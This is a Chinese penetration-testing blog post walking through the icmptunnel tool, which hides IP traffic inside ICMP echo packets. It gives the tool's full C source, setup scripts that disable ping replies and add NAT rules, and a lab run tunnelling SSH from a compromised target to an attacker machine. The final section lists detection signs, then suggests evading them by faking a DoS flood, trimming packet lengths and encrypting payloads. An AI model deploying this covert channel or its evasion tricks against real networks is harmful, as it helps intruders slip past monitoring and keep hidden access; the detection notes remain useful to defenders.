内网渗透系列:内网隧道之icmptunnel(DhavalKapil师傅的)

前言

本文研究ICMP隧道的一个工具,DhavalKapil师傅的icmptunnel

github:https://github.com/DhavalKapil/icmptunnel

一、概述

1、简介

最后更新于2017年,用C语言编写,创建虚拟网卡通过ICMP协议传输IP流量

条件:

  • 目标机(客户端)需要root权限
  • 目标机(客户端)可以ping攻击机(服务端)
  • 只能在linux环境下使用

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

流量发送方式:

  • 目标机(客户端)将IP流量封装在ICMP的echo包里发送给攻击者(服务端)
  • 攻击者(服务端)将IP流量封装在ICMP的reply包里发送给目标机(客户端)
  • 这两种ICMP数据包参见RFC792

架构:

在这里插入图片描述

3、使用

两端都要编译:

make

攻击机(服务端)建立虚拟网卡并分配IP

[sudo] ./icmptunnel -s 10.0.1.1

目标机(客户端)修改client.sh并启动隧道

[sudo] ./icmptunnel -c <server>

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机
在这里插入图片描述

2、建立隧道

(1)编译

make编译

make

目标机

在这里插入图片描述
攻击机

在这里插入图片描述

(2)服务端监听

先查看route

route -n

在这里插入图片描述
建立隧道

./icmptunnel -s 10.0.1.1

在这里插入图片描述
此时再次查看路由

在这里插入图片描述

多了个tun0的虚拟网卡

(3)客户端启动

查看路由

在这里插入图片描述
修改client.sh
在这里插入图片描述
建立连接

./icmptunnel -c 192.168.10.128

在这里插入图片描述
此时再次查看路由

在这里插入图片描述
可以看到也是多了个tun0,连接建立成功

(4)ssh

然后就可以ssh连接了
在这里插入图片描述

3、抓包看看

虚拟网卡tun0

在这里插入图片描述
网卡eth0

在这里插入图片描述
可以看到所有TCP流量都被装进了ICMP流量中

三、探索

1、源码与分析

(1)icmp.c

/**
 *  icmp.c 搞定ICMP的packet
 */

#include "icmp.h"
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/**
 * Function to calculate checksum
 */
uint16_t in_cksum(uint16_t *addr, int len);

/**
 * Function to fill up common headers for IP and ICMP
 */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp);

/**
 * Function to set packet type as ECHO
 */
void set_echo_type(struct icmp_packet *packet)
{
    
    
  packet->type = ICMP_ECHO;
}

/**
 * Function to set packet type as REPLY
 */
void set_reply_type(struct icmp_packet *packet)
{
    
    
  packet->type = ICMP_ECHOREPLY;
}

/**
 * Function to open a socket for icmp
 */
// 初始化一个socket,事实上大多数隧道还是用了socket
int open_icmp_socket()
{
    
    
  int sock_fd, on = 1;

  sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

  if (sock_fd == -1) {
    
    
    perror("Unable to open ICMP socket\n");
    exit(EXIT_FAILURE);
  }
  
  // Providing IP Headers
  if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) {
    
    
    perror("Unable to set IP_HDRINCL socket option\n");
    exit(EXIT_FAILURE);
  }

  return sock_fd;
}

/**
 * Function to bind the socket to INADDR_ANY
 */
// 绑定所有网卡,动静有点大的
void bind_icmp_socket(int sock_fd)
{
    
    
  struct sockaddr_in servaddr;

  // Initializing servaddr to bind to all interfaces
  memset(&servaddr, 0, sizeof(struct sockaddr_in));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl(INADDR_ANY);

  // binding the socket
  if (bind(sock_fd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)) == -1) {
    
    
    perror("Unable to bind\n");
    exit(EXIT_FAILURE);
  }
}

/**
 * Function to send ICMP Packet
 */
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
    
    
  // Source and destination IPs
  struct in_addr src_addr;
  struct in_addr dest_addr;

  struct iphdr *ip;
  struct icmphdr *icmp;
  char *icmp_payload;

  int packet_size;
  char *packet;

  struct sockaddr_in servaddr;

  // IP的进制转换
  inet_pton(AF_INET, packet_details->src_addr, &src_addr);
  inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);

  packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + packet_details->payload_size;
  packet = calloc(packet_size, sizeof(uint8_t));
  if (packet == NULL) {
    
    
    perror("No memory available\n");
    close_icmp_socket(sock_fd);
    exit(EXIT_FAILURE);
  }

  // Initializing header and payload pointers
  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));

  prepare_headers(ip, icmp);

  ip->tot_len = htons(packet_size);
  ip->saddr = src_addr.s_addr;
  ip->daddr = dest_addr.s_addr;

  memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);

  icmp->type = packet_details->type;
  icmp->checksum = 0;
  icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);

  memset(&servaddr, 0, sizeof(struct sockaddr_in));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = dest_addr.s_addr;

  // Sending the packet
  sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));

  free(packet);
}

/**
 * Function to receive an ICMP packet
 */
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
    
    
  struct sockaddr_in src_addr;
  //struct sockaddr_in dest_addr;

  struct iphdr *ip;
  struct icmphdr *icmp;
  char *icmp_payload;

  int packet_size;
  char *packet;

  socklen_t src_addr_size;
  int enc_MTU; //encapsulated MTU

  enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);

  packet = calloc(enc_MTU, sizeof(uint8_t));
  if (packet == NULL) {
    
    
    perror("No memory available\n");
    close_icmp_socket(sock_fd);
    exit(-1);
  }

  src_addr_size = sizeof(struct sockaddr_in);
  
  // Receiving packet
  packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);

  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));

  // Filling up packet_details
  inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);
  inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);
  packet_details->type = icmp->type;
  packet_details->payload_size = packet_size - sizeof(struct iphdr) - sizeof(struct icmphdr);
  packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));
  if (packet_details->payload == NULL) {
    
    
    perror("No memory available\n");
    close_icmp_socket(sock_fd);
    exit(-1);
  }

  memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);

  free(packet);
}

/**
 * Function to close the icmp socket
 */
void close_icmp_socket(int sock_fd)
{
    
    
  close(sock_fd);
}

/**
 * Function to calculate checksum
 */
uint16_t in_cksum(uint16_t *addr, int len)
{
    
    
  int nleft = len;
  uint32_t sum = 0;
  uint16_t *w = addr;
  uint16_t answer = 0;

  // Adding 16 bits sequentially in sum
  while (nleft > 1) {
    
    
    sum += *w;
    nleft -= 2;
    w++;
  }

  // If an odd byte is left
  if (nleft == 1) {
    
    
    *(unsigned char *) (&answer) = *(unsigned char *) w;
    sum += answer;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;

  return answer;
}

/**
 * Function to fill up common headers for IP and ICMP
 */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)
{
    
    
  ip->version = 4;
  ip->ihl = 5; //首部长度
  ip->tos = 0; //4bit优先度,ICMP设为0
  ip->id = rand();
  ip->frag_off = 0;
  ip->ttl = 255;
  ip->protocol = IPPROTO_ICMP;

  icmp->code = 0; // 0是echo
  icmp->un.echo.sequence = rand();
  icmp->un.echo.id = rand();
  icmp->checksum = 0;   
}

(2)test_client.c

// 测试客户端发送
#include "icmp.h"
#include <string.h>

int main()
{
    
    
  struct icmp_packet packet;
  char *src_ip;
  char *dest_ip;
  int sock_fd;

  src_ip = "127.0.0.2";
  dest_ip = "127.0.0.1";

  strncpy(packet.src_addr, src_ip, strlen(src_ip) + 1);
  strncpy(packet.dest_addr, dest_ip, strlen(dest_ip) + 1);
  set_reply_type(&packet);
  packet.payload = "ZZZZZZ"; // 测试的内容,可以改为更具迷惑性的
  packet.payload_size = strlen(packet.payload);

  sock_fd = open_icmp_socket();

  send_icmp_packet(sock_fd, &packet);

  close_icmp_socket(sock_fd);
}

(3)test_server.c

// 测试服务端的接收

#include "icmp.h"

#include <stdio.h>
#include <string.h>
 
 
int main()
{
    
    
  struct icmp_packet packet;
  int sock_fd;
 
  sock_fd = open_icmp_socket();
  bind_icmp_socket(sock_fd);

  printf("server initialized\n");
  while(1)
  {
    
    
    receive_icmp_packet(sock_fd, &packet);
    printf("%s\n", packet.src_addr);
    printf("%s\n", packet.dest_addr);
    printf("%d\n", packet.type);
    printf("%s\n", packet.payload);
  }
 
  close_icmp_socket(sock_fd);
}

(4)tunnel.c

/**
 *  tunnel.c 通过虚拟网卡建立tunnel,并通过socket读写
 */

#include "icmp.h"
#include "tunnel.h"

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <unistd.h>


#define DEFAULT_ROUTE   "0.0.0.0"

/**
 * Function to allocate a tunnel
 */
int tun_alloc(char *dev, int flags)
{
    
    
  struct ifreq ifr;
  int tun_fd, err;
  char *clonedev = "/dev/net/tun"; //虚拟网卡
  printf("[DEBUG] Allocating tunnel\n");

  tun_fd = open(clonedev, O_RDWR);

  if(tun_fd == -1) {
    
    
    perror("Unable to open clone device\n");
    exit(EXIT_FAILURE);
  }
  
  memset(&ifr, 0, sizeof(ifr));

  ifr.ifr_flags = flags;

  if (*dev) {
    
    
    strncpy(ifr.ifr_name, dev, IFNAMSIZ);
  }

  if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) {
    
    
    close(tun_fd);
    fprintf(stderr, "Error returned by ioctl(): %s\n", strerror(err));
    perror("Error in tun_alloc()\n");
    exit(EXIT_FAILURE);
  }

  printf("[DEBUG] Allocatating tunnel2");

  printf("[DEBUG] Created tunnel %s\n", dev);

  return tun_fd;
}

/**
 * Function to read from a tunnel
 */
int tun_read(int tun_fd, char *buffer, int length)
{
    
    
  int bytes_read;
  printf("[DEBUG] Reading from tunnel\n");
  bytes_read = read(tun_fd, buffer, length);

  if (bytes_read == -1) {
    
    
    perror("Unable to read from tunnel\n");
    exit(EXIT_FAILURE);
  }
  else {
    
    
    return bytes_read;
  }
}

/**
 * Function to write to a tunnel
 */
int tun_write(int tun_fd, char *buffer, int length)
{
    
    
  int bytes_written;
  printf("[DEBUG] Writing to tunnel\n");
  bytes_written = write(tun_fd, buffer, length);

  if (bytes_written == -1) {
    
    
    perror("Unable to write to tunnel\n");
    exit(EXIT_FAILURE);
  }
  else {
    
    
    return bytes_written;
  }
}

/**
 * Function to configure the network
 */
void configure_network(int server) //server是个flag,1是server,0是client
{
    
    
  int pid, status;
  char path[100];
  char *const args[] = {
    
    path, NULL};

  if (server) {
    
    
    if (sizeof(SERVER_SCRIPT) > sizeof(path)){
    
    
      perror("Server script path is too long\n");
      exit(EXIT_FAILURE);
    }
    strncpy(path, SERVER_SCRIPT, strlen(SERVER_SCRIPT) + 1);
  }
  else {
    
    
    if (sizeof(CLIENT_SCRIPT) > sizeof(path)){
    
    
      perror("Client script path is too long\n");
      exit(EXIT_FAILURE);
    }
    strncpy(path, CLIENT_SCRIPT, strlen(CLIENT_SCRIPT) + 1);
  }

  pid = fork();

  if (pid == -1) {
    
    
    perror("Unable to fork\n");
    exit(EXIT_FAILURE);
  }
  
  if (pid==0) {
    
    
    // Child process, run the script
    exit(execv(path, args));
  }
  else {
    
    
    // Parent process
    waitpid(pid, &status, 0);
    if (WEXITSTATUS(status) == 0) {
    
    
      // Script executed correctly
      printf("[DEBUG] Script ran successfully\n");
    }
    else {
    
    
      // Some error
      printf("[DEBUG] Error in running script\n");
    }
  }
}


/**
 * Function to run the tunnel
 */
void run_tunnel(char *dest, int server)
{
    
    
  struct icmp_packet packet;
  int tun_fd, sock_fd;

  fd_set fs;

  tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI); //创建一个点对点设备,不包含包信息,默认的每个数据包当传到用户空间时,都将包含一个附加的包头来保存包信息

  printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server);
  printf("[DEBUG] Opening ICMP socket\n");
  sock_fd = open_icmp_socket();

  if (server) {
    
    
    printf("[DEBUG] Binding ICMP socket\n");
    bind_icmp_socket(sock_fd);
  }

  configure_network(server);

  // 异步网络通信
  while (1) {
    
    
    FD_ZERO(&fs);
    FD_SET(tun_fd, &fs);
    FD_SET(sock_fd, &fs);

    select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);

    if (FD_ISSET(tun_fd, &fs)) {
    
    
      printf("[DEBUG] Data needs to be readed from tun device\n");
      // Reading data from tun device and sending ICMP packet

      printf("[DEBUG] Preparing ICMP packet to be sent\n");
      // Preparing ICMP packet to be sent
      memset(&packet, 0, sizeof(struct icmp_packet));
      printf("[DEBUG] Destination address: %s\n", dest);

      if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){
    
    
        perror("Lack of space: size of DEFAULT_ROUTE > size of src_addr\n");
        close(tun_fd);
        close(sock_fd);
        exit(EXIT_FAILURE);
      }
      strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);

      if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){
    
    
        perror("Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\n");
        close(sock_fd);
        exit(EXIT_FAILURE);
      }
      strncpy(packet.dest_addr, dest, strlen(dest) + 1);

      if(server) {
    
    
        set_reply_type(&packet);
      }
      else {
    
    
        set_echo_type(&packet);
      }
      packet.payload = calloc(MTU, sizeof(uint8_t));
      if (packet.payload == NULL){
    
    
        perror("No memory available\n");
        exit(EXIT_FAILURE);
      }

      packet.payload_size  = tun_read(tun_fd, packet.payload, MTU);
      if(packet.payload_size  == -1) {
    
    
        perror("Error while reading from tun device\n");
        exit(EXIT_FAILURE);
      }

      printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload);
      // Sending ICMP packet
      send_icmp_packet(sock_fd, &packet);

      free(packet.payload);
    }

    if (FD_ISSET(sock_fd, &fs)) {
    
    
      printf("[DEBUG] Received ICMP packet\n");
      // Reading data from remote socket and sending to tun device

      // Getting ICMP packet
      memset(&packet, 0, sizeof(struct icmp_packet));
      receive_icmp_packet(sock_fd, &packet);

      printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);
      // Writing out to tun device
      tun_write(tun_fd, packet.payload, packet.payload_size);

      printf("[DEBUG] Src address being copied: %s\n", packet.src_addr);
      strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);
      free(packet.payload);
    }
  }
}

(5)icmptunnel.c

/**
 * icmp_tunnel.c
 */

#include "tunnel.h"

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define ARG_SERVER_MODE "-s"
#define ARG_CLIENT_MODE "-c"

void usage()
{
    
    
  printf("Wrong argument\n");
  fprintf(stdout, "usage: icmptunnel [-s serverip] | [-c clientip]\n");
}

int main(int argc, char *argv[])
{
    
    
  char ip_addr[100] = {
    
    0,};
  if ((argc < 3) || ((strlen(argv[2]) + 1) > sizeof(ip_addr))) {
    
    
    usage();
    exit(EXIT_FAILURE);
  }
  memcpy(ip_addr, argv[2], strlen(argv[2]) + 1);

  if (strncmp(argv[1], ARG_SERVER_MODE, strlen(argv[1])) == 0) {
    
    
    run_tunnel(ip_addr, 1);
  }
  else if (strncmp(argv[1], ARG_CLIENT_MODE, strlen(argv[1])) == 0) {
    
    
    run_tunnel(ip_addr, 0);
  }
  else {
    
    
    usage();
    exit(EXIT_FAILURE);
  }

  return EXIT_SUCCESS;
}

(6)client.sh

设置虚拟网卡,添加路由

#!/bin/sh

# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.2 netmask 255.255.255.0

# Modifying IP routing tables
route del default
# 'server' is the IP address of the proxy server
# 'gateway' and 'interface' can be obtained by usint the command: 'route -n'
route add -host <server> gw <gateway> dev <interface>
route add default gw 10.0.1.1 tun0

(7)server.sh

设置虚拟网卡,关掉内核的ping

#!/bin/sh

# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.1 netmask 255.255.255.0 

# Preventing the kernel to reply to any ICMP pings
echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

# Enabling IP forwarding
echo 1 | dd of=/proc/sys/net/ipv4/ip_forward

# Adding an iptables rule to masquerade for 10.0.0.0/8
iptables -t nat -A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE

2、检测与绕过

(1)检测虚拟网卡

无端多了个虚拟网卡,多半是有问题的

这个检测方式是本工具无法回避的

(2)检测ping是否被禁

/proc/sys/net/ipv4/icmp_echo_ignore_all是否为1

本工具如果将目标机视为客户端,则无此问题

(3)异常ICMP数据包数量

如图是ssh连接时,1s内发了20个包左右,还都是指定的IP地址
在这里插入图片描述
似乎也是个无法回避的问题

或许可以反其道而行之,即同时用大量ICMP包和别的包淹没目标机,造成DoS攻击的假象,鱼目混珠,混淆视听,视情况而定

(4)异常ICMP包长度

在这里插入图片描述
不过这个可以设置限定长度64,切片再拼装

(5)payload内容

比如下面这个是ssh连接
在这里插入图片描述
内容明显古怪
正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

这里混淆加密,会不会好点

结语

改进考虑:

  • 长度和数量改为类似ping命令
  • 内容混淆加密
  • 考虑跨平台

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/118891101